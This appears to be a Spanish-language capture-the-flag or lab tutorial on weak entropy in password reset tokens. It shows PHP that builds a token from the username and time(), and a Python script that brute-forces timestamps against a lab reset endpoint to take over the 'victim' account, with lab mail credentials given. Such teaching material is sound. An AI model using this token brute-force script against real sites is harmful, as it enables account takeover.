Esta técnica cubrirá un escenario donde una generación de número random sufre de entropía pobre o insuficiente. Cuando esto pasa, los valores generados no son verdaderamente aleatorios y se vuelven vulnerables a ataques.
Por ejemplo, si una clave de encriptación se genera usando información de baja entropía, como timestamp, un atacante podría usar esa información predecible para reducir la complejidad de encontrar la clave. De forma similar, las fuentes de baja entropía, como relojes del sistema o inputs predecibles de usuarios, pueden llevar a aleatoriedad débil en aplicaciones.
Escenario Práctico
En este escenario, un atacante puede explotar la predictibilidad de la fuente de entropía para determinar los valores producidos por el generador de números random. Veremos cómo la baja entropía en un token puede acarrear vulnerabilidades. Usaremos una máquina hosteada en http://random.thm:8090/case/. También hay un servidor de email configurado en http://random.thm:8090/mail/ donde el usuario recibirá emails para resetear contraseñas o iniciar sesión con un link "mágico".
La página web ofrece una funcionalidad de login y una opción para los usuarios que han olvidado su contraseña para pedir un link de reset. En este caso, el usuario con el nombre de usuario victim, ha olvidado su contraseña, y nuestro objetivo es entender cómo los tokens de reseteo de contraseñas son generados y usar ese conocimiento para tomar la cuenta de los usuarios. Sigue estas instrucciones para observar el problema primero y entender por qué este acercamiento es inseguro.
- Comienza visitando el sitio en
http://random.thm:8090/case/forget_password.phpIntroduce el nombrevictimy haz click enSend Reset Link.
- Ahora verás un mensaje indicando que el email contiene un link de reseteo de contraseña ha sido enviado.

- Vamos a ver qué pasa del lado del servidor para producir este token. Debajo está el código responsable de generar este token:
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute([':username' => $user_id]); $user = $stmt->fetch(PDO::FETCH_ASSOC); if ($user) { $token = $user_id . time(); $update = $db->prepare("UPDATE users SET reset_token = :token WHERE username = :username");
- Este token es una simple concatenación del nombre de usuario (en este caso
victim) y eltimestampactual producido por la funcióntime(). - Abre la bandeja de entrada del email iniciando sesión con
victim@mail.random.thmy la contraseñaTesting@123. Verás un email de reset de contraseña como este:
- Puede que parezca un método conveniente para generar tokens únicos por cada petición de cambio de contraseña. Sin embargo, introduce un problema de seguridad.
Explotación
- Un atacante puede explotar la vulnerabilidad de falta de entropía en el token de reseteo visitando el siguiente link de reseteo:
http://random.thm:8090/case/reset_password.php?token={Username}{timestamp_of_token_generation}. - Como el token es generado concatenando el nombre de usuario con el resultado de la función
time(), el atacante conoce que el valortime()representa el timestamp cuando el link de reseteo fue creado. Con este conocimiento, el atacante puede realizar ataques de fuerza bruta para adivinar el timestamp con valores cercanos. - Debajo tienes un script de Python que acepta un argumento para el username y otro para el timestamp. En esta página puedes obtener tu Unix Timestamp.
- Además, puedes ajustar el rango de tiempo con el que probar cambiando el
-300(-5 minutos) por cualquier otro valor.
import requests import sys # Function to brute force the reset token def brute_force_token(username, start_timestamp): url = "http://random.thm:8090/case/reset_password.php" # Try tokens within a range of -5 minutes for i in range(-300, 0): current_timestamp = start_timestamp + i token = f"{username}{current_timestamp}" params = {'token': token} response = requests.get(url, params=params) # Check if the token is valid if "Invalid or expired token." not in response.text: print(f"Correct token identified: {token}") return token else: print(f"Tried token: {token} (Invalid)") print("No valid token found in the given range.") return None if len(sys.argv) != 3: print("Usage: python exploit.py <username> <unix_timestamp>") sys.exit(1) username = sys.argv[1] start_timestamp = int(sys.argv[2]) brute_force_token(username, start_timestamp)
- Comienza el ataque.
- Una vez verificado el token correcto, puedes visitar la URL
http://random.thm:8090/case/reset_password.php?token=victim{timestamp_of_token_generation}y actualizar la contraseña.
¿Por qué es Débil el Token?
- Entropía Débil en la Generación de Tokens: En este caso, el sistema confía en fuentes de baja entropía (
usernameytimestamp), los cuales hacen el token predecible. Los tokens de alta entropía están generados usando generadores de números random seguros (comorandom_bytes()). - Espacio de Búsqueda Pequeño: Un espacio de búsqueda se refiere al número total de posibles valores del token. En este caso, debido a que la función
time()se actualiza cada segundo, el espacio para hacerle fuerza bruta al token es muy pequeño. Un atacante podría simplemente adivinar todos los timestamps posibles en un pequeño rango.
